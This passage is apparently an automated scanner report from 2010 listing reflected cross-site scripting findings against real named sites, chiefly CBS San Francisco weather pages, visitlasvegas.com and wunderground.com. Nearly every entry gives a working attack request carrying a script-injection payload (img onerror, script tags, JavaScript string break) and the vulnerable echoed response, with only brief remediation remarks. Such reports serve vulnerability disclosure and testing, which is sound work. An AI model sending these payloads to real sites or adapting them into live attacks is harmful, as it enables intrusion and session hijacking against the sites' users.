The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8be4d"><img%20src%3da%20onerror%3dalert(1)>ab6caa22081 was submitted in the REST URL parameter 2. This input was echoed as 8be4d"><img src=a onerror=alert(1)>ab6caa22081 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV48be4d"><img%20src%3da%20onerror%3dalert(1)>ab6caa22081/CA/Palo_Alto.html HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:37:19 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.198
Set-Cookie: ASC=1292182639:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 57258


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<input type="hidden" name="brand" value="kpixV48be4d"><img src=a onerror=alert(1)>ab6caa22081">
...[SNIP]...

1.16. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/Pleasanton.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/CA/Pleasanton.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 485d6"><img%20src%3da%20onerror%3dalert(1)>fead7ba4c25 was submitted in the REST URL parameter 2. This input was echoed as 485d6"><img src=a onerror=alert(1)>fead7ba4c25 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV4485d6"><img%20src%3da%20onerror%3dalert(1)>fead7ba4c25/CA/Pleasanton.html HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:37:28 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.264
Set-Cookie: ASC=1292182648:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 57258


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<input type="hidden" name="brand" value="kpixV4485d6"><img src=a onerror=alert(1)>fead7ba4c25">
...[SNIP]...

1.17. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/San_Carlos.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/CA/San_Carlos.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 721c4"><img%20src%3da%20onerror%3dalert(1)>8b1a88e0e7e was submitted in the REST URL parameter 2. This input was echoed as 721c4"><img src=a onerror=alert(1)>8b1a88e0e7e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV4721c4"><img%20src%3da%20onerror%3dalert(1)>8b1a88e0e7e/CA/San_Carlos.html HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:37:36 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.204
Set-Cookie: ASC=1292182657:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 57258


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<input type="hidden" name="brand" value="kpixV4721c4"><img src=a onerror=alert(1)>8b1a88e0e7e">
...[SNIP]...

1.18. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/San_Francisco.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/CA/San_Francisco.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0802"><img%20src%3da%20onerror%3dalert(1)>926bc433e6e was submitted in the REST URL parameter 2. This input was echoed as b0802"><img src=a onerror=alert(1)>926bc433e6e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV4b0802"><img%20src%3da%20onerror%3dalert(1)>926bc433e6e/CA/San_Francisco.html HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:36:12 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.277
Set-Cookie: ASC=1292182572:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 57261


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<input type="hidden" name="brand" value="kpixV4b0802"><img src=a onerror=alert(1)>926bc433e6e">
...[SNIP]...

1.19. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/CA/San_Lorenzo.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/CA/San_Lorenzo.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 664d7"><img%20src%3da%20onerror%3dalert(1)>80bb19d058f was submitted in the REST URL parameter 2. This input was echoed as 664d7"><img src=a onerror=alert(1)>80bb19d058f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV4664d7"><img%20src%3da%20onerror%3dalert(1)>80bb19d058f/CA/San_Lorenzo.html HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:37:09 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.268
Set-Cookie: ASC=1292182629:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 57258


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<input type="hidden" name="brand" value="kpixV4664d7"><img src=a onerror=alert(1)>80bb19d058f">
...[SNIP]...

1.20. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/Region/Southwest/2xRadar.html [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/Region/Southwest/2xRadar.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbf2f"><img%20src%3da%20onerror%3dalert(1)>cc10cc3c05f was submitted in the REST URL parameter 2. This input was echoed as fbf2f"><img src=a onerror=alert(1)>cc10cc3c05f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV4fbf2f"><img%20src%3da%20onerror%3dalert(1)>cc10cc3c05f/Region/Southwest/2xRadar.html HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:33:24 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.097
Set-Cookie: ASC=1292182404:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 39519


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<input type="hidden" name="brand" value="kpixV4fbf2f"><img src=a onerror=alert(1)>cc10cc3c05f">
...[SNIP]...

1.21. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/Region/Southwest/2xRadar.html [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/Region/Southwest/2xRadar.html

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66741"><a>a48aae406a4 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV4/Region/Southwest66741"><a>a48aae406a4/2xRadar.html?gimg=http://radblast-mi.wunderground.com/cgi-bin/radar/WUNIDS_map?station=MUX19&brand=wui&num=6&type=N0R&frame=0&noclutter=1&t=1292182108&min=2&delay=30&gtitle=Local%20Animated%20Radar HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:42:36 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.340
Set-Cookie: ASC=1292182956:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Set-Cookie: RadarID=SGF; path=/; expires=Wed, 09-Dec-2020 19:42:37 GMT; domain=.sanfrancisco.cbslocal.com
Set-Cookie: RadarRegion=b3; path=/; expires=Wed, 09-Dec-2020 19:42:37 GMT; domain=.sanfrancisco.cbslocal.com
Connection: close
Content-Type: text/html
Content-Length: 61138


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<a href="/auto/kpixV4/Region/Southwest66741"><a>a48aae406a4/?PWS=1">
...[SNIP]...

1.22. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/radar/radblast.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/radar/radblast.asp

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d657"><img%20src%3da%20onerror%3dalert(1)>ec435f941a8 was submitted in the REST URL parameter 2. This input was echoed as 5d657"><img src=a onerror=alert(1)>ec435f941a8 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV45d657"><img%20src%3da%20onerror%3dalert(1)>ec435f941a8/radar/radblast.asp HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:36:06 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.093
Set-Cookie: ASC=1292182566:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 16432


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
lang="en">
<!-- templateok
...[SNIP]...
<input type="hidden" name="brand" value="kpixV45d657"><img src=a onerror=alert(1)>ec435f941a8">
...[SNIP]...

1.23. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/ski/CA/ [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/ski/CA/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f4ae"><img%20src%3da%20onerror%3dalert(1)>fa9f24b3c5 was submitted in the REST URL parameter 2. This input was echoed as 4f4ae"><img src=a onerror=alert(1)>fa9f24b3c5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV44f4ae"><img%20src%3da%20onerror%3dalert(1)>fa9f24b3c5/ski/CA/ HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:34:33 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.171
Set-Cookie: ASC=1292182473:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 49522


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<input type="hidden" name="brand" value="kpixV44f4ae"><img src=a onerror=alert(1)>fa9f24b3c5">
...[SNIP]...

1.24. http://weather.sanfrancisco.cbslocal.com/auto/kpixV4/ski/CA/ [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://weather.sanfrancisco.cbslocal.com
Path:   /auto/kpixV4/ski/CA/

Issue detail

The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload b008c<a>d11ca63bdd5 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /auto/kpixV4/ski/CAb008c<a>d11ca63bdd5/ HTTP/1.1
Host: weather.sanfrancisco.cbslocal.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: RadarID=MUX; __utmz=160676543.1292182045.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); RadarRegion=c1; ASC=1292182108:1; __utma=160676543.342033343.1292182045.1292182045.1292182045.1; __utmc=160676543; __utmb=160676543.4.10.1292182045; __qca=P0-2068012105-1292182045067;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:34:38 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
X-CreationTime: 0.119
Set-Cookie: ASC=1292182478:2; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 37974


<!DOCTYPE html>
<html dir="ltr" lang="en" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<meta charset="UTF-8" />
<meta http-equiv="refresh" content="240">
<title> CBS San Francisco- News, Spor
...[SNIP]...
<h3 class="cbstv_section_head">CAb008c<a>d11ca63bdd5</h3>
...[SNIP]...

1.25. http://www.visitlasvegas.com/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.visitlasvegas.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 4c83b--><script>alert(1)</script>2bcfcc62b24 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /?4c83b--><script>alert(1)</script>2bcfcc62b24=1 HTTP/1.1
Host: www.visitlasvegas.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:45:49 GMT
Server: Apache/2.2.4 (Unix) mod_jk/1.2.25
Set-Cookie: JSESSIONID=D09B36215E7C8DE98592087652084572.p2; Path=/
Vary: User-Agent,Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 53008


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<!--

   4c83b--><script>alert(1)</script>2bcfcc62b24:

       0: 1

-->
...[SNIP]...

1.26. http://www.wunderground.com/stationmaps/gmap.asp [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wunderground.com
Path:   /stationmaps/gmap.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16393"><script>alert(1)</script>36fb17f2c7a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /stationmaps/gmap.asp?16393"><script>alert(1)</script>36fb17f2c7a=1 HTTP/1.1
Host: www.wunderground.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: DT=1292182118:16223:365-n3;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:44:03 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
Cache-control: no-cache, must-revalidate, no-cache="Set-Cookie", private
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
X-CreationTime: 0.045
Set-Cookie: ASC=1292183043:1; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 89270


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
       <html xmlns="http://www.w3.org/1999/xhtml">
       <head>
   <meta name="descript
...[SNIP]...
<a href="/wundermap/?16393"><script>alert(1)</script>36fb17f2c7a=1&print=1" target="new">
...[SNIP]...

1.27. http://www.wunderground.com/stationmaps/gmap.asp [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.wunderground.com
Path:   /stationmaps/gmap.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8650c"-alert(1)-"30d7f79870b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /stationmaps/gmap.asp?8650c"-alert(1)-"30d7f79870b=1 HTTP/1.1
Host: www.wunderground.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: DT=1292182118:16223:365-n3;

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 12 Dec 2010 19:44:05 GMT
Server: Apache/1.3.33 (Unix) PHP/4.4.0
Cache-control: no-cache, must-revalidate, no-cache="Set-Cookie", private
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Pragma: no-cache
X-CreationTime: 0.043
Set-Cookie: ASC=1292183045:1; path=/; expires=Fri, 01-Jan-2020 00:00:00 GMT; domain=.wunderground.com
Connection: close
Content-Type: text/html
Content-Length: 89203


   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
       <html xmlns="http://www.w3.org/1999/xhtml">
       <head>
   <meta name="descript
...[SNIP]...
<script type="text/javascript">a2a_linkname="Weather Underground WunderMap";a2a_linkurl="http://www.wunderground.com/wundermap/?8650c"-alert(1)-"30d7f79870b=1";</script>
...[SNIP]...

Report generated by XSS.CX at Sun Dec 12 14:31:25 CST 2010.